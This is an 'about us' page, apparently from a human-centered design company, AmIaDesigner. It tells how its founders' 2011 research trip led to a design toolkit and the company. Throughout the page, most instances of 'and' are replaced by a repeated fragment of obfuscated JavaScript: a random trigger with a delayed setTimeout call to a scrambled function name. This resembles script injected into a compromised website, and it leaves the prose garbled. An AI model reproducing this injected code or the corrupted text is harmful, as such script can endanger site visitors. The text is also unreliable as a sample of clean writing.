Why do we do what we do?

When we use the word ‘design’ people often think we are referring to what a thing, a piece of clothing or a logo looks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feels like. But is that all design is? And is it all design can be? Over the years we came to the conclusion that in order to really design for a sustainable world the design-object should be subordinate to the people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and environment you are designer for andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we realized that in order to do that we had to redesign andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and define what design was for us – which resulted in a blog andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a research project called: AmIaDesigner which later on morphed into this company.

How it all started? We love being creative, inquisitive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to be in a position to develop new things, work with passionate people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and instigate change. But we hated being part andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maybe even being a representative of our modern day consumption based economy. Why is it that product designers like us these days design so many disposable products? About 99% of the products currently bought by western consumers (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and designed by product designers) will be trash in only six months’ time. Can we, rich westerners, only live how we live because so many people (in developing countries) are poor? And why is the success of enterprises mainly measured by how much profit they generate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not by the quality of their products, the happiness of their employees or the happiness of their clients? Should we start looking for new professions if we want to contribute to a more sustainable future, or might there be something wrong with our perception andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and definition of our own profession? What is a designer? And how can they contribute to a better world?

In 2011 Boukje andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jeroen decided to take some time off in order to find out how they, as designers , entrepreneurs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lecturers, can be part of a more sustainable future. They tried to find answers to this question by travelling to eight countries on five continents in five months. During their trip they (a) visited designers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and entrepreneurs that are trying to make a difference in the world andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asked them for their ‘recipes’ for success (b) started a discussion on the value of entrepreneurship andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and design by giving public lectures andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and through a blog (c) tested the boundaries andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and opportunities of design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and design principles like co-design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and human centered design by applying related methodologies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and theory to real cases (d) contributed a little bit to sustainable development themselves by sharing our own knowledge through workshops, training sessions, consultancy, design, business development etc.

The trip generated some very concrete output:
  • We found a new believe in the positive impact design can have! But in order maximize this impact in the future, the design-object should become subordinate to the people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and environment you are designer for. For us this means a shift in focus from designing physical artifacts to hiring out designers as facilitators of the design process andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to training other people how to use these tools andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and processes.
  •  We can all be the designers of our own innovations; big or small! If we retain this powerful tool to only the design world it will never become as impactful as we need it to be. So we need to put time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and effort in translating the design process so it can be used by doctors, secretaries, school kids, villages, NGO’s etc. etc. as -well.
  • Design is not enough! Design is only valuable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sustainable if it is implemented sustainably, therefore we looked at innovation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and entrepreneurship tools, principles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mindsets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we combined them into an unique toolkit taking the best of both worlds we now refer to as our AIaD toolkit.
  • All the workshops we gave, methods we tested andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the insights on the process of instigating positive change by the visited designers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and entrepreneurs resulted in a new innovation process methodology: the Human Centered Innovation (HCI) canvasses.
  • The desire to personally spend more time on the subject andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to show other designers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and people in general that there is a viable business model behind human centered design resulted in the start of AmIaDesigner as a company which was launched in September 2013.
  • All the people that supported us during the trip slowly start to become a community of Human Centered Designers. Over time we want to keep supporting all these people in collaborating with each other, reaching their goals, sharing their experiences, evaluating their effectiveness or in short: designing a better world.